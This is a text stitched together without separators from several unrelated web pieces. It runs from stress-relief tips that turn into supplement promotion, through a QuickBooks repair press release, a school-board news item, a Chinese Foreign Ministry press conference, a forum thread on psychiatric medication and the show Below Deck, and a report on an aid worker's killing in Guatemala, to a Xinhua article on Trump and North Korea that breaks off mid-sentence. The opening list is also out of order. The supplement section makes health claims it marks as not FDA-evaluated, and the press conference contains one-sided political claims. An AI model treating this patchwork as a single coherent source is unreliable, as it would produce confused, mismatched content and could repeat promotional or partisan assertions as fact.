Mindfulness: Implementing meditation into your daily routine can be life changing! In short, meditation is both a mind and body practice that focuses on mindfulness, which is essentially the interactions between your brain, mind, body and behavior. When you meditate, youre shifting your attention from day-to-day worries and focusing on the connection between your brain and body. According to Harvard Health, the act of meditation can trigger the relaxation response, a common antidote to stress. By setting aside time each day to focus on your breathing, body and thoughts, you can learn how to more easily and successfully manage your response to stress and external triggers. If youre stuck at home with the kids, check out this video for mindful meditation with the kids! Next comes breathing exercises. These are beneficial because taking slow and deep breaths sends your body into a state of relaxation. Check out these simple breathing exercises to try out! Last but not least are mental exercises. From meditation to journaling, or even just talking out your problems with a friend or counselor, focusing on understanding your thoughts is another way to aid in reducing stress. 3. Exercise: Exercise is very beneficial for many reasons, one of which is that it greatly aids in reducing stress. Heres the twist: Its not just physical exercise that provides benefits! By using a combination of bodily exercises, breathing exercises and mental exercises, you can better equip yourself to handle stress. To determine what you want to try first, here is how each type of exercise aids in reducing stress. Aerobic exercise helps with stress in two ways: behaviorally and through neurochemicals. For example, physical exercise provides you with a sense of control and self-confidence as well as providing a way to enjoy solitude and not have to focus on your worries. It also stimulates the production of endorphins which are responsible for the feelings of relaxation and optimism. As for the neurochemical impacts, exercise is shown to reduce the levels of your stress hormones like cortisol and adrenaline. 4. Pet a Furry Friend: It has been shown that interacting with animals may decrease our levels of cortisol (the stress-related hormone) as well as lower blood pressure. Unless youre someone who has a strong dislike of animals, pets are a great way to aid in reducing stress as well as provide emotional support. From encouraging you to get moving to improving your mood, your little furry friends do more than sit there and look cute! Studies have even shown that when facing a stressful task, people felt less stressed when their pets were present rather than when their spouse or friend was present. 5. Supplements: Supplements may seem like the easiest route to implement a solution into your daily routine, but its important to remember that they shouldnt be the end-all be-all approach. Like most things, the most efficient way to figure out the top ways you can combat stress is through trial and error. You may want to start off implementing one of these tips at a time into your routine and see which ones you enjoy the most or see the best result from. If youve reached the point where youve found a few ways that have helped you manage your stress but you want a little extra support, check out a supplement like BlissAnti-Stress Formula. Market Americas Director of nutraMetrix and Clinical Education, Dr. Deedra Mason, has discussed the many benefits of introducing this supplement to help manage stress negative effects.* This supplement promotes relaxation without drowsiness, helps maintain healthy levels of both serotonin and dopamine, promotes mental clarity, helps enhance and stabilize your mood and more!* If youre looking for a supplement that helps enhance and stabilize mood as well as supporting healthy sleep quality then check out Isotonix Essentials Turn Down.* From promoting sleep and supporting healthy sleep quality to assisting in releasing mental tension and promoting calmness and relaxation, its packed with benefits that help you unwind from the day.* For a supplement that promotes healthy levels of cortisol (the stress hormone) and helps maintain normal thyroid function, check out TLS ACTS Adrenal, Cortisol, Thyroid & Stress Support Formula.* By helping reduce stress placed on the adrenal glands to perform, it helps to decrease the possibility of adrenal fatigue as well.* Last but not least is Thymenol. From supporting healthy brain function and promoting feelings of calmness to supporting memory, cognition and attention and promoting feelings of physical and mental comfort, Thymenol is a beneficial option in helping to balance emotions in stressful situations.* Make sure to check with your doctor before starting anything new! If you feel like you are overwhelmed with stress, you are not alone. There are resources available, including the ones listed below. Immediate Emergencies Call 911 Suicide, Domestic Violence, Abuse, and Assault Resources Crisis Lines and Online Chats TeenLine: (310) 855-HOPE (4673), (800) TLC-TEEN (852-8336) (U.S. and Canada only), Or text TEEN to 839863 6 p.m. to 10 p.m. Pacific Time, every night Crisis Call Center: 800-273-8255 or text ANSWER to 839863 Twenty-four hours a day, seven days a week Crisis Text Line (U.S. only) Text HELLO to 741741 or message us at facebook.com/CrisisTextLine to chat with a Crisis Counselor. Twenty-four hours a day, seven days a week Substance Abuse Disorder and Mental Health SAMHSAs National Helpline: 1-800-662-HELP (4357) and TTY 1-800-487-4889 Market America | SHOP.COM is a global product brokerage and internet marketing company that specializes in one-to-one marketing and is the creator of The Shopping Annuity. *These statements have not been evaluated by the Food and Drug Administration. This product(s) is not intended to diagnose, treat, cure or prevent any disease. Kington, UK -- (SBWIRE) -- 08/11/2020 -- The 2020 release of QuickBooks for Mac is packed with new features including a refreshed reporting module, customizable dashboard, dark mode, electronic invoicing and payment acceptance, bounced check feature, and text searchable image uploading. QuickBooks for Mac, however, is only accessible on the computer that the software was installed on which means data cannot be accessed elsewhere. The new version is not exempt from its set of problems, experts say. With the old bugs, there are new issues as well. Users have reported the "software bogging down, slow load times, corrupted data, unexpected software shutdowns, and freezing when working with long journal entries." User-friendly and reasonable, has been said to lack integration, causes frequent errors and crashes, lacks tech support and does not offer a payroll module. Regardless of the type of problem encountered, E-Tech offers a guaranteed service that looks after the repair of every version of QuickBooks for Mac. For more information on this service, visit https://quickbooksrecovery.co.uk/quickbooks-data-recovery/ About E-Tech E-Tech is the leading service provider of QuickBooks File Repair, Data Recovery, QuickBooks Conversion and QuickBooks SDK programming in the UK and Ireland. In their 20 years plus of experience with Intuit QuickBooks, they have assisted over 1000 satisfied customers with their requirements. E-Tech UK covers US, UK, Canadian, Australian versions which include Reckon Accounts, and New Zealand versions of QuickBooks through PC and Mac platforms. For media inquiries regarding E-Tech, individuals are encouraged to contact Media Relations Director, Melanie Ann via email at Melanie@e-tech.ca. To learn more about the company, visit: https://quickbooksrecovery.co.uk/ The Houston County School Board approved a delayed start date of Sept. 8 during a virtual conference call Monday evening meeting plagued with technical interference that members agreed was due to spam callers. Superintendent David Sewell said the school reopening postponement will give the school system more time to prepare for students by giving teachers more time to train on a different platform. This will allow us to allow everything with virtual that we do in our normal classes, including honors classes, he said. The virtual school plan will allow high school students to use Schoology, which teachers could use to have direct contact with their students and provide them work assignments. Teachers will be able to monitor students progress and assignments and provide feedback. Sewell said he hopes that the delay will give teachers enough time to formulate lesson plans for the new platform students will have access to virtually. On-site training for teachers will begin on Friday. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Foreign Ministry Spokesperson Zhao Lijian's Regular Press Conference on August 11, 2020 2020/08/11 Shenzhen TV: Reuters reported that France and Germany are out of G7 negotiations on WHO reforms because the United States, with its announcement of withdrawal from the WHO, is still trying to dictate the terms. Italy's health department said talks on WHO reform are still underway, adding however that Italy's position is in line with Paris and Berlin. Reports say that the US previously expected G7 to roll out relevant reform roadmap in September under its leadership. Do you have any comment? Zhao Lijian: I suggest you raise this question to the German and French sides and hear what they want to say on it. I want to stress three points here. First, the US pullout of WHO is another example of its unilateral way of doing things: quitting international treaties and organizations. With the developing countries in urgent need of international support bearing the brunt of this decision, it has hindered international anti-epidemic efforts and has been unanimously opposed by the international community, as anyone with a sense of objectivity can see clearly. Second, as the most authoritative and professional international organization, WHO has played an indispensable role in coordinating global COVID-19 response. To support WHO is to support international anti-epidemic cooperation and to support putting lives first, which is a consensus of the international community. Third, a common cause calls for extensive participation. We hope all parties will take concrete actions to support multilateralism, strengthen and improve global governance system with the UN at its center, and support WHO's leading role in global anti-epidemic response. Facing the negativity brought by some party's unilateral withdrawal, the WHO needs more positive input from more sources. It is our common cause to build a community of health for all mankind. AFP: China's embassy in Denmark has released a notice yesterday saying foreign nationals from some European countries who hold valid residence permits may apply for visas to enter China. Can the foreign ministry confirm if China is reopening its borders to European countries, including the EU? Zhao Lijian: I answered a similar question yesterday. The Chinese government has suspended entry for most foreigners holding valid visa or residence permit starting from March 28, but we never stopped helping process visa applications of foreign nationals who want to come for essential economic, trade, scientific and technological activities or out of emergency humanitarian needs. Recently, as the situation has been brought under control in many countries, people are looking forward to making foreign trips. Thus, China is relaxing in an orderly and gradual manner visa restrictions for foreigners entering China to resume economic activities and for other essential purposes. One more point to highlight is that for those who hold valid visa or residence permit but need visa renewal, Chinese embassies and consulates will provide them visa service for free. Global Times: Global Times conducted on Monday an online survey regarding current China-US relations, and the number of participants in the survey has exceeded 100,000. About 96% of those surveyed disfavor US and 98% believe that the US is concentrating its firepower on attacking the CPC because it wants to sow discord between the Chinese people and the CPC, destroy the unity of the country, and create momentum for a new Cold War. Over 97% support China in taking countermeasures against US provocations. Some experts believed that almost no one in China believes the US cares about democracy or human rights in our country, as the US has already proven itself to be a trouble maker who destroys other nations' sovereignty with the excuse of promoting democracy and freedom. Such consensus among the Chinese public has also transformed into overwhelming support for the Chinese government's policy towards the US. Do you have any comment? Zhao Lijian: A good job to the Global Times for making this survey and I think the US should also have a look at it. They have to be clear that the Chinese people are well aware of certain people's malicious intention to sabotage China-US relations and stoke division and confrontation. Their retrogressive moves will only make the Chinese people bond tightly together and hold their country dearer. We urge the US to grasp the situation and correct its mistakes, discard the illusion of remolding China as it wishes, stop gross interference in China's internal affairs and unscrupulous oppression of China's legitimate rights and interests, and get the bilateral relationship back on the right track of coordination, cooperation and stability. Phoenix TV: An NBC journalist was granted access to the Wuhan Institute of Virology (WIV) and interviewed its director and president of the Wuhan Branch of the Chinese Academy of Sciences. US State Department Spokesperson Morgan Ortagus tweeted on August 10: "Eight months later, mystery still surrounds the Wuhan lab...NBC News was granted the first independent media access to the Wuhan lab...They just regurgitated Chinese Communist Party propaganda and didn't press for facts". She also said that the "CCP preferred saving face over saving lives". Does China have a comment? Zhao Lijian: To be frank, the comments came as no surprise because we know certain individuals in the US have their own "definition" of truth: as long as a lie serves to attack and smear China, it is a fact. Chinese scientists have shared their professional views of the management and research at the WIV in multiple interviews. The fact is as plain as day that there is no evidence supporting the claim that the novel coronavirus came from a lab. Speaking of facts, we would really hope that the US could open up its research base at Fort Detrick to the media, release more information about its over 200 bio-labs overseas, and invite WHO experts in to conduct origin-tracing so it has a chance to tell the truth and offer an explanation to the American people and the international community. The US spokesperson talked about preferring "saving face over saving lives". The US should reflect upon its own behavior. The CPC puts people and life front and center. The Chinese government's epidemic response can stand the test of time and history. It stands in sharp contrast with US political parties who put political gains first. As confirmed cases in the US surged to over five million and deaths over 160,000, focusing on fighting the virus and saving lives should be the one true task at hand for the US, not regurgitating excuses to shift the blame to China. Kyodo News: Japan's Chief Cabinet Secretary Yoshihide Suga today expressed deep concern over the arrests of Jimmy Lai and Agnes Chow in Hong Kong. What's your comment? Second question, the arrests made many media staff in Hong Kong worried. Do you think such behavior will hurt China and Hong Kong's image in the world? Zhao Lijian: On your first question, Hong Kong affairs are purely China's internal affairs that allow no foreign interference. We urge the Japanese side to grasp the situation, know its position, and stop interfering in China's affairs in any way. On your second question, China is a country with rule of law and Hong Kong is a place with law and order where nobody is above the law. We support Hong Kong law-enforcement agencies in fulfilling their duties in accordance with law. Institutions and individuals in the Hong Kong have nothing to worry about so long as they do not break the law. CCTV: ASEAN Foreign Ministers issued the Statement on the Importance of Maintaining Peace and Stability in Southeast Asia on the occasion of the 53rd anniversary of the establishment of ASEAN. It closely followed the growing uncertainties resulting from the changing geo-political dynamics in the regional and global landscape and stressed the importance of ASEAN centrality and regional architecture while emphasizing a multilateral approach in addressing emerging challenges. Do you have any comment? Zhao Lijian: The statement issued by the ASEAN foreign ministers once again demonstrates that the pursuit of peace, development and cooperation is the common and urgent aspiration of all countries in the region, including China and ASEAN. As an important dialogue partner and friendly neighbor, China firmly supports ASEAN centrality in regional cooperation, stands ready to deepen dialogue and cooperation with ASEAN, improve the regional architecture, support multilateralism and globalization, so as to respond effectively to the regional and global challenges, especially to solve the most pressing tasks of fighting COVID-19 and development, and safeguard the good momentum of peace and development in the region. The Globe and Mail: According to Australian media, a report about the Papua New Guinea national data center says the data center was built in such a way that data can easily be intercepted. The data center was built by Huawei. What is your comment to those who might look at this and question the reliability of Huawei's digital infrastructure? Zhao Lijian: I am not aware of what you said, but I can tell you that the Chinese government consistently requires Chinese enterprises operating overseas to strictly abide by international rules and local laws and regulations. It is worth noting that this is not the first time that media of a certain country deliberately made slanderous reports on Chinese enterprises. We firmly oppose such action. AFP: I have a follow-up question about the media tycoon Jimmy Lai's arrest yesterday in Hong Kong. US Secretary of State Mike Pompeo said it was further proof that Chinese authorities have eviscerated Hong Kong's freedoms and eroded the rights of its people. We have two questions. First, what's China's comment on this? Second, what does China think of the fact that people in Hong Kong have been rushing to buy copies of Apple Daily as well as buying the shares of Apple Daily's parent company? Zhao Lijian: On the first question, Pompeo has repeatedly made wrong remarks on Hong Kong-related affairs and made wanton comments on China's justified and lawful measures to safeguard national security. His political lies are completely groundless. China has stated its solemn position on many occasions. With regard to your second question, I'm afraid that's just selective reporting by relevant media. To my knowledge, the countermeasures China has rolled out against the US on Hong Kong-related issues have been applauded by people in Hong Kong while the US sanctions have been widely condemned by them. Xinhua News Agency: We know that a Chinese medical team to Azerbaijan has been working there for a week. Could you please brief us on the work of this team? What support and assistance have they provided to the local epidemic prevention and control efforts? Zhao Lijian: At the invitation of the Azerbaijani government, a team of ten Chinese medical experts arrived in Baku, the capital of Azerbaijan, on August 4. They will stay in Azerbaijan for about two weeks during which time they will help train local medical personnel to enhance their epidemic prevention and control capabilities. So far, China's medical team has visited several hospitals designated to treat COVID-19 patients, including the Azerbaijan Central Clinic Hospital and Sumgayit City hospital, and the Baku Blood Bank. They also held group seminars with relevant departments and medical experts to analyze the current epidemic situation, epidemic prevention measures and treatment process. They talked about China's hard-won experiences in the relevant fields and then offered specific ways and treatments to suit Azerbaijan's needs. The efforts by the Chinese medical team have been warmly welcomed and highly affirmed by the Azerbaijani government and people. I can give you an example. The medical team visited the ICU room of Central Hospital of Oil Workers to check on all the critical patients there. When they were about to a leave, a female patient held tight a Chinese expert's hand and called them "friends", which is a "thumb-up" for the team's work on the ground. Since the outbreak of COVID-19, China and Azerbaijan have stood together and helped each other through exchanging letters at the leadership level, providing medical supplies and sharing experience, which demonstrates the profound friendship between the two countries. We believe that with the joint efforts of both sides, we will be able to overcome the epidemic at an early date. The Globe and Mail: Just one more question about that PNG national data center. In addition to the concerns about its vulnerability to hacking, it does not appear to work properly and it's barely being used. What is your comment? Zhao Lijian: I have made myself pretty clear. I am not aware of the specific situation you mentions. We firmly oppose the media of a certain country repeatedly making slanderous and malicious reports about a project built by a Chinese company. RIA Novosti: Yesterday people took to the street in Minsk, the capital of Belarus, after the result of presidential elections was revealed. There are people who refuse to recognize this result, and there are many people arrested including journalists. I was wondering how China comments on the current situation in Belarus? Zhao Lijian: We note relevant reports. We hope and believe that the situation in Belarus will be stabilized as soon as possible. all my friends are on anti depressants or anti psychotics so its not taboo for us. But are your mental health meds a secret in ur friend group? i've been voluntarily hospitalized as have 2 of my close friends so this is just regular degular talk but I know not everyone has supportive loved ones who ~believe in depression~ also, how many diff meds did you have to try to find your current system and do you like them? I started on prozac years ago and since then have tried 5? maybe 4 other meds. what im on now is fine but gotdamn if I miss more than a day my mind is foggy af. Reply Thread Link Im very open about it because I want other people to know it can be needed and is normal. I tell my story to a lot of my friends because Im so glad I got help. When my first kid was 9 months, I was having all these thoughts like my husband couldnt stand me and do we stay together because of the baby or get divorced? If we get divorced, I cant afford to live in nyc so what do I do? Etc. At the same time I was having passive suicidal thoughts like wishing the plane I was on would crash so I just wouldnt have to deal with life anymore (I went through these same wanting to die feelings when I was living alone for a year at 22). Because I had a baby, I went to a psychiatrist about the suicidal thoughts and she put me on Wellbutrin and holy shit. All my thoughts about my marriage were just in my head from my depression and my husband had no idea I was feeling like that and didnt feel like that at all and after I was on the meds for a few weeks I realized how much of what I was going through was depression and I was so glad I never acted on any of it since being on meds made me feel soooo much better. Reply Parent Thread Link I'm glad Wellbutrin helped you bb :) I was on it for a bit and though it helped me tremendously, apparently I had an underlying heart condition that unfortunately caused me to no longer be able to take Wellbutrin. I don't know if you ever had/have heart palpitations while on it but I did to a worrisome level. It sucks I had to stop taking it but at least it brought to light that I have a heart condition. I don't know if I ever would have known if I hadn't tried wellbutrin. Reply Parent Thread Expand Link Yes. The people who need to know know (partner, mom, doctor). Other than that, nope. Too big of a stigma for certain disorders; I had the unfortunate experience of having to tell a nurse what I was taking some medication for and she not only told me "that sounds like demons" but was also like "Are you about to become violent? Let me leave the room until you calm down" when I told her in no uncertain terms it wasn't demons at all. Nope. People are too gross. Reply Parent Thread Link I speak openly about it. The only reason I generally don't like talking about it is when it's with people who don't really know how to react. Makes me uncomfortable to see them being uncomfortable. Reply Parent Thread Link lmao no I will take my meds at the dinner table with friends, zero fucks Reply Parent Thread Link Nope! I talk about it openly. I've also gotten compliments on the advice that I've given a few times, and my answer is always "I've had SO MUCH therapy!" because I feel like people don't talk about it enough. Reply Parent Thread Link I've taken Adderall salts for about 10 years. Along w my sister & my best friend bc were all ADHD. If it weren't for my friend and sister I'd be so fucked and hate myself for not understanding what the fuck was wrong w my brain. Wouldn't be anywhere near where I am mentally now without the insight and my meds. I generally won't tell ppl bc Adderall has a negative connotation to idiots who think it's just meth or something. Also telling ppl makes them ask me for them so they can geek out or whatever. I'll tell ppl when someone says something negative about ADHD or if it's fake or if they stigmatize it so I can put in perspective how it actually works but most ppl are idiots so Reply Parent Thread Link Not really. The people I am close to and trust know I'm on medication and that I suffer from severe depression and have emotional issues. I'm fairly open though with sharing different struggles I've had with others because I think its something that isn't talked about as much as it should be. If sharing my experiences can make someone feel a little less alone or help them, I'm all for it. Reply Parent Thread Link wild to me that Malia had no self awareness that everything she was saying could easily be flipped on her. "Man up and share a cabin" could be turned to "man up about not sharing a cabin with your bf for the last 2 weeks". Also Jess and Rob don't even speak anymore so that clearly didn't last off the boat. Reply Thread Link Ugh, I could feel Hannah's anger when she said that and totally agreed with her. Cabin assignments are part of Hannah's job (SANDY) and Malia isn't her boss in any way. She asked, she got an answer, and should have sucked it up or just slept in his assigned bunk with him. I am SO grossed out by Malia and Sandy's unprofessional actions. Sandy doing an all-call to tell people that the cabins were being switched instead of talking to Hannah about it was AWFUL. Ugh. Reply Parent Thread Link Malia is so damn smug. She wants to share a cabin with her boyfriend but instead of just saying that she insists that yachting protocol dictates that when a couple is hired together, they share a cabin together. Thats all well well and good if thats even the case but on what planet were they hired together? Malia was contracted to work the season and then midway through the season, as a convenient plot device her boyfriend, who just so happens to be a highly experienced yacht chef, swoops in to save Sandys ass after she makes the boneheaded decision to fire the chef on day 3 of a 4 day charter in the middle of the season. Unless Im missing something, I dont see how this chain of events qualifies as Malia and her boyfriend being hired together. Since Hannah isnt tripping over herself to accommodate Malias housing demand (for good reason since shed be stuck bunking with the insufferable Bugsy who was brought in as another plot device to make Hannahs life a living hell this season), Malia then goes rummaging through Hannahs bag and arranges a tablescape across her bunks bathroom vanity (obviously without any pointers from Bugsy) of Hannahs Valium, weed pen, a lighter, and passport holder, and texts the tableau to Captain Sandy, which doesnt seem at all retaliatory. And we all know what will happen from there. As Lisa Rinna would say, just own your shit Malia. Just own it. Reply Thread Link My theory is that she was saying what she shouldn't have... I think Kiko was a complete plant and no one told him. The timing is too spot-on. I think Malia and Tom WERE hired together (by Bravo) but he didn't arrive til later. I think Captain was in on it so she was harder on Kiko as it got closer to needing a reason to get him out of the way for the storyline. Hannah wasn't just upset he was leaving, she realized how deep the BS went... first it was Lara/Lana the plant to upset her so she could be forced to work with her nemesis Bugsy (to set her up to look bad), then it was setting Kiko up for failure so they could bring Tom on. Hannah's tears and panic attacks are coming from realizing she's trapped on a boat with an entire manipulation scam, along with a Captain who keeps lurking and then gaslighting her. Reply Parent Thread Link Holy crap! That's genius! Reply Parent Thread Link I hope that's not true, but I wouldn't be surprised. I'm following Kiko on Instagram and he really is living his best life, along with being a goddamn delight. Reply Parent Thread Link hollly molly you are spot on. You know, Bravo paints Hannah as being the 'bitch' but if you notice throughout the series, she's actually very loyal to those who are genuine and kind. I'm sure she still rides people hard on their duties, as its her job, but she seems to be genuine. She was heart broken over what happened to KiKo. and speaking of him, I hope he is living his best life somewhere. He shouldn't have been fired over not understanding Las Vegas themed food, he'd never been there ffs. Captain (lol) Sandy could have helped him instead of being a fucking Cruella De Ville. Reply Parent Thread Expand Link This season has been complete BS due to Sandy's micromanaging as well as playing favorites. Malia knew about the Valium since Hannah's panic attack ( which she called a freak out) and conveniently waited a couple of days until she had a fight with Hannah to report it. If it was such a huge issue then "miss professional" should also get fired for not reporting it immediately. The season is too produced and it's not enjoyable to watch, I've only sticked around for Hannah... I'm so happy for her being pregnant right now and living her best life :) Reply Thread Link I feel like that's exactly what Captain Lee would say if Malia tried to do that - "well, why didn't you tell me immediately?". When Kat was taking medication in season 2 and Lee found out, he just had her show him the prescription. Also, fucking Kevin from last season of BD took something for his back spasms and it was no big deal. Reply Parent Thread Link Surely sandy shouldn't be bothered to know this if HR can confirm that it's prescribed? Isn't this stuff disclosed on an employees medical form in case of a medical emergency where paramedics need to come out and need to know that info or is that not the case in america? I know we have that where I live. Reply Thread Link I've never disclosed what type of medication I'm on with an employer. It's never been asked. Reply Parent Thread Link I am from aus and that is defs not a thing. I would feel very uncomfortable disclosing that I am on antidepressants and valium for panic attacks to people I dont know and who are about to be in charge of my employment. Who knows what biases they might have???? Reply Parent Thread Link Its so weird how things differ from country to country! Over here ive had to fill that in for all of my jobs. Granted, its never disclosed to the employees direct manager and is kept under lock and key in the hr office (it only leaves that office if a medical emergency comes up) but they still have the info. Reply Parent Thread Link Its the opposite in America. Youre employer isnt allowed to ask you about your health. To avoid discrimination. Reply Parent Thread Link The only time i've been asked to disclose my medications was when I tried to join the air force and also hte peace corps. Unfortunately, I was denied being able to join both because I was briefly admitted into a psychiatric hospital for depression/suicidal thoughts in the past and also was still on anti depressants at the time of applying for both. In that only respect, I can see why under maritime law that these sorts of things are taken a bit more serious. However, I think Malia just wanted to fuck over Hannah and used this as a way to do so. Its disgusting, Malia is not the professional she tries to play. Reply Parent Thread Link Never thought I'd be #teamhannah but here I am. The audacity of trying use someone's prescription medication against them is one of the most disgusting things I can imagine. Reply Thread Link She still says "on drugs" as if Hannah was taking unprescribed oxy or something. "All of you expressing your hate- think of it in this perspective if an emergency was to take place in the middle of the night how would you feel if your crew (the people trained to handle the situation & keep you safe) were on drugs? There are terribly sad stories of crew losing their lives or accidents happening due to unsupervised drug use. The severity of it is why it has become Maritime Law. Its there to protect both crew & passengers. Reporting someone shouldnt have a negative stigma it can save lives" Whether what she did was law or not it was done out of spite, at least be honest about your fucking intentions. Edited at 2020-08-11 11:41 am (UTC) Reply Thread Link Doesnt unsupervised drug use mean outside the supervision of a doctor... her meds are prescribed and therefore supervised. Reply Parent Thread Link That second to last tweet quotes her from an interview and apparently its maritime law that you have to tell the captain about any prescriptions you're on and they have to administer them? But she didn't seem to care about that before. She also seems really ignorant to mental health issues. Reply Parent Thread Expand Link I would assume she would need to disclose any prescriptions that are necessary but I'm not a lawyer. Hannah has definitely seemed over it for awhile and I can see how she might have an issue with valium (personal experience, I was prescribed 1mg of clonopin and ended up at 18mg a day because of abuse, tolerance). Unsupervised drug use is a huge problem and it's very valid that Malia would report it. However, it doesn't seem that Malia was concerned, it seems like Malia saw an opportunity to throw Hannah under the bus - to assert herself even more. Reply Parent Thread Link THIS. I get the importance of disclosing any mind altering drugs you are on to your superiors in situations like this, but Malia used it out of spite. And it was prescribed ffs. Reply Parent Thread Link This is a low for Brovo--- using a mental health issue to drive the plot/conflict is cruel. To go inside someone's personal property is disgusting. This is reality tv, the antics by production shouldn't be so obvious. The show is no longer a fun escape and is completely unwatchable. Reply Thread Link This...and don't you just know that if the tables were turned and Malia's personal belongings were ransacked through without her consent, she would raise hell. Reply Parent Thread Link people really have no idea what HIPAA is or what it means Reply Thread Link I only have a vague knowledge of HIPAA from my days as a reporter and this wouldn't fall under that at all. Reply Parent Thread Link They really dont. Like a regular joe cant just commit a HIPAA violation. U Telling someone ur friend is on Xanax isnt a HIPAA violation. Ur doctor telling someone is. Edited at 2020-08-11 03:04 pm (UTC) Reply Parent Thread Link not to mention this doesnt even take place in america lol Reply Parent Thread Link Malia is a smug, entitled little brat. She can defend what she did all she wants, but there's no doubt in my mind it was out of spite. Why else would she wait until her last opportunity that she's sharing a cabin with Hannah And NOT talk to Hannah first? And I like how she said shit to Bugsy when Bugsy flat out said no to sharing a room with Hannah at dinner but Malia flipped her lid when Hannah did too. Like, maybe it's childish to Malia, but Bugsy and Hannah were just being honest that sharing a room could hurt their current dynamic and Malia stomped her foot like a child and literally ran to mommy! Which, Capt. Sandy had no business doing that. If it's part of Hannah's job to handle cabins, you talk to Hannah first. Jess and Rob are a fucking mess and the only entertainment this season lol I'm so sad these latest seasons of Below Deck and BD Med have been such trash :( Reply Thread Link But didnt Malia already know she had Valium a couple episodes prior when she was having her panic attack? Reply Thread Link Ugh, Malia really thinks she's the queen of the boat and the star of the show, doesn't she? Meanwhile it's so obvious she's doing production's dirty work by bullying Hannah off the boat. Making the prescription valium look like a an illegal drug kit or whatever is a new low. Are she and Sandy not aware they're blatantly being villains and the audience will hate them, or did production promise them another season on their terms & pay raise if they "caused drama" and followed the pre-planned plot line with bugsy as new chief stew and malia's bf as new chef? Reply Thread Link Malia needs to be fired for going through Hannah's stuff, taking pictures of her meds and showing it to her boss in the first place because I'm sure that's some sort of HIPPA violation. And she can save her sanctimonious explanation; at least admit you're a petty, nasty bitch. Reply Thread Link HIPAA just means your health care provider can not share your info with anyone. and its a law in the United States Reply Parent Thread Link Fair enough. It's still an incredibly shitty thing to do. There's no justification in it other than to try to get someone fired. Reply Parent Thread Expand Link Ive never seen it for her. And Pete drowned in his masculine toxicity (he was bad, so as to not minimize his BS) so that she could swim in the cesspool of her own fuckery that Ive thought she was since her earliest seasons. Ive never really understood why she was dammn abrupt and steadfast in her I am woman., you! will! respect! me!, and youre gonna get punished because youve annoyed me mentality as a her main theme while on this boat. I get theres a hierarchy and its a thing on boats, but I come from a long line of peoples where if you have to remind me 100 times a day that youre in charge youre not really in charge. Youre just a title, and you arent respected at all. Fuck, I feel like I could do a character study/thesis on this entire season and stiiiiill be left wanting to gain a deeper understanding even though its never that serious! Reply Parent Thread Link Sorry, mental health therapist here, but isn't taking a screen shot of someone's meds and airing it on national TV a HIPAA violation? sorry, not a mental health therapist, but shouldn't a mental therapist know HIPAA applies to people like her, and not your coworker being a pathetic shithead? Reply Thread Link well this is enraging on a new level - i didn't like malia when she was making out with everyone on the boat the last time she was there, but this is a whole new ballgame of bullshit. Reply Thread Link ...and now shes got a partner in crime. Im tapping out on the entire series as a whole. Kates last season shouldve been the end of it all for me but I guess I was looking for something else to fill the void this aint it! Reply Parent Thread Link A French director of a non-profit organisation in Guatemala has been shot dead, according to the French embassy in the central American country.The international NGO has called for an open discussion on the status and protection of human rights workers, increasingly attacked around the world. According to local media, Benoit Maria, was driving a truck on a road near the village of San Antonio Ilotenango, around 85 kilometres north-west of the capital Guatemala City, when he was shot and killed. The motive of Monday's attack in the country's northeast has not yet been established. Maria was the country director of the NGO Agronomes et veterinaires sans frontieres (AVSF) an organisation set up to help local farmers, and had been living there for over twenty years. Frederic Apollin, the managing director of AVSF said 55 year old Maria had probably been caught in an ambush. "Even though work involving land in Guatemala is very sensitive, I wouldn't go as far as to speak of threats. Neither our organisation nor Benoit, were to my knowledge, the object of any threat. Benoit was clearly in the wrong place at the wrong time," he said. "We denounce the murder of this human rights defender, Benoit Maria," said a statement on Twitter from Udefegua, a local human rights group, which has called for a high level government inquiry. The French embassy in Guatemala published a communique, expressing "concern" over the attack and offered condoleances to the victim's family. "Well known to the Embassy, Mr Maria worked hard to improve the lives of underprivileged people in the west of the country," said the statement on social media. According to Jorge Santos, coordinator for Udefegua, Benoit Maria was also known for his work with the Ixil - the local indigenous mayas. He helped set up the Ixil university in 2011, in the department of Quiche, a centre dedicated to the transfer of ancestral knowledge. Humanitarian organisations are "more and more confronted by this kind of violence, crime and insecurity due to armed groups," Frederic Apollin said, indicating that AVSF also had a branch in Niger, where six French humanitarian workers from the group Acted were killed on Sunday. Apollin called for a "collective consultation" on the status and protection for humanitarian workers based in unstable countries around the world. Source: Xinhua| 2020-08-11 13:47:58|Editor: huaxia Video Player Close by Matthew Rusling WASHINGTON, Aug. 11 (Xinhua) -- U.S. President Donald Trump in recent weeks has claimed more than once that if he's re-elected, he would cut a deal with Pyongyang "very quickly." But U.S. experts on Asia and the Korea Peninsula said such statements are far-fetched. "If and when we win," Trump said at a press conference Friday in the U.S. state of New Jersey, he would make deals with both the Democratic People's Republic of Korea (DPRK) and Iran. But U.S. experts said any such a deal is highly unlikely and is mainly aimed at November's elections. "Trump is nowhere near a deal" with the DPRK, Brookings Institution Senior Fellow Michael O'Hanlon told Xinhua. "I think Trump was indulging in magical thinking, hoping that invocation of his toughness against Pyongyang, followed by summitry and no conflict, will convince voters he did a good job," said Douglas Paal, vice president for studies at the Carnegie Endowment for International Peace. "The facts are completely otherwise," Paal told Xinhua, Experts said the DPRK is carefully watching the U.S. electoral process. With Trump falling behind in the polls, Pyongyang is reluctant to come to the table. Troy Stangarone, senior director at the Washington-based non-profit Korea Economic Institute, told Xinhua: "(The DPRK) understands U.S. electoral politics well and is unlikely to want to negotiate with the Trump administration with the president trailing in the polls," noting that Trump is falling behind against rival Joe Biden. There have been no working-level talks since the breakdown in Stockholm, and the failure of the summit in Hanoi demonstrates why working-level talks are necessary if there is to be an agreement reached with the DPRK, Stangarone said, referring to previous negotiations. Former CIA analyst and current RAND Corporation policy analyst Soo Kim told Xinhua: "The objective here appears to be less about addressing the U.S. and regional concerns about a growing (DPRK) nuclear capability and more about securing a deal for demonstrative purposes." Indeed, Friday was not the first time Trump vowed to cut a quick deal with Pyongyang, despite what seems a lack of interest among DPRK leadership. In a statement published last month by the DPRK's official Korean Central News Agency, Kim Yo Jong, first vice department director of the Central Committee of the Workers' Party of Korea and the younger sister of the DPRK's top leader Kim Jong Un, said that another summit with Trump was "useless" as it would only benefit Trump politically and "we have nothing to gain." However, she added that it "does not necessarily mean the denuclearization is not possible. But what we mean is that it is not possible at this point of time." That followed U.S. Secretary of State Mike Pompeo's statement last month that the United States is "very hopeful" about resuming talks with the DPRK. Trump and the DPRK's top leader have engaged in person three times since 2018. But talks have stalled since their second summit, which took place in February 2019. Some experts believe the DPRK is waiting until the U.S. elections have concluded, as U.S. policy toward Pyongyang could change if contender Joe Biden is elected president in November. Jenna Gibson, an expert on the 